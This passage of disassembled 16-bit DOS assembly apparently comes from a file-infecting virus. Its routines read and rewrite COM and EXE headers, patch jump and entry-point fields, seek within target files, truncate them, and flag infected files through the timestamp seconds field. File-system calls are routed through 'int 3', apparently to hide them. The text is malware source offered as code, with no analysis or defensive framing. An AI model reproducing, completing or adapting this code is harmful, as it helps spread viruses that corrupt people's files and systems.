lea dx,[si+122h] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
call sub_14
mov di,word ptr ds:[922h][si]
mov cl,4
shl di,cl ; Shift w/zeros fill
sub ax,di
sbb dx,0
add ax,0FEh
adc dx,0
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
mov word ptr ds:[91Eh][si],ax
mov word ptr ds:[920h][si],dx
mov dx,14h
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
call sub_17
call sub_18
loc_68:
mov ax,5701h
mov cx,word ptr ds:[93Fh][si]
mov dx,word ptr ds:[941h][si]
or cx,1Fh
int 3 ; Debug breakpoint
loc_69:
xor dx,dx ; Zero register
call sub_13
retn
sub_20 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_21 proc near
push cs
push cs
pop ds
pop es
call sub_15
jc loc_70 ; Jump if carry Set
jmp loc_79
loc_70:
call sub_16
jz loc_71 ; Jump if zero
jmp loc_79
loc_71:
call sub_19
jnc loc_72 ; Jump if carry=0
jmp loc_79
loc_72:
cmp ah,1
je loc_74 ; Jump if equal
cmp ah,2
jne loc_73 ; Jump if not equal
jmp loc_76
loc_73:
mov ah,3Fh ; '?'
lea dx,[si+42h] ; Load effective addr
nop ;*ASM fixup - displacement
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+42h]
add dx,42h
nop ;*ASM fixup - sign extn byte
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
mov dx,6
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+42h]
add dx,91Eh
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,5
int 3 ; Debug breakpoint
mov dx,8
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+60h] ; Load effective addr
nop ;*ASM fixup - displacement
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+60h]
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,5
int 3 ; Debug breakpoint
mov dx,[si+42h]
call sub_13
mov ah,40h ; '@'
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
jmp loc_78
loc_74:
cmp byte ptr ds:[91Eh][si],0E9h
je loc_75 ; Jump if equal
jmp loc_79
loc_75:
sub word ptr ds:[91Fh][si],123h
mov dx,word ptr ds:[91Fh][si]
add dx,91Eh
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+924h] ; Load effective addr
mov cx,3
int 3 ; Debug breakpoint
xor dx,dx ; Zero register
call sub_13
mov ah,40h ; '@'
lea dx,[si+924h] ; Load effective addr
mov cx,3
int 3 ; Debug breakpoint
mov dx,word ptr ds:[91Fh][si]
call sub_13
mov ah,40h ; '@'
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
jmp short loc_78
loc_76:
mov dx,8
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
mov dx,14h
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+122h] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
mov cl,0Ch
shr word ptr ds:[124h][si],cl ; Shift w/zeros fill
mov ax,word ptr ds:[91Eh][si]
mov cl,4
shl ax,cl ; Shift w/zeros fill
sub ax,0FEh
cwd ; Word to double word
add word ptr ds:[122h][si],ax
adc word ptr ds:[124h][si],dx
mov ax,4200h
mov dx,word ptr ds:[122h][si]
mov cx,word ptr ds:[124h][si]
add dx,122h
adc cx,0
int 3 ; Debug breakpoint
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
mov dx,14h
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
mov ax,4200h
mov dx,word ptr ds:[122h][si]
mov cx,word ptr ds:[124h][si]
int 3 ; Debug breakpoint
mov ah,40h ; '@'
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
call sub_18
loc_78:
mov ax,5701h
mov cx,word ptr ds:[93Fh][si]
mov dx,word ptr ds:[941h][si]
and cx,0FFE0h
int 3 ; Debug breakpoint
loc_79:
xor dx,dx ; Zero register
call sub_13
retn
sub_21 endp
db 26h, 11h,0EAh, 4Ah, 00h, 00h
db 70h,0B0h,0F3h,0E6h, 60h,0B9h
db 1Ah, 1Ah
db 716 dup (1Ah)
seg_a ends
end start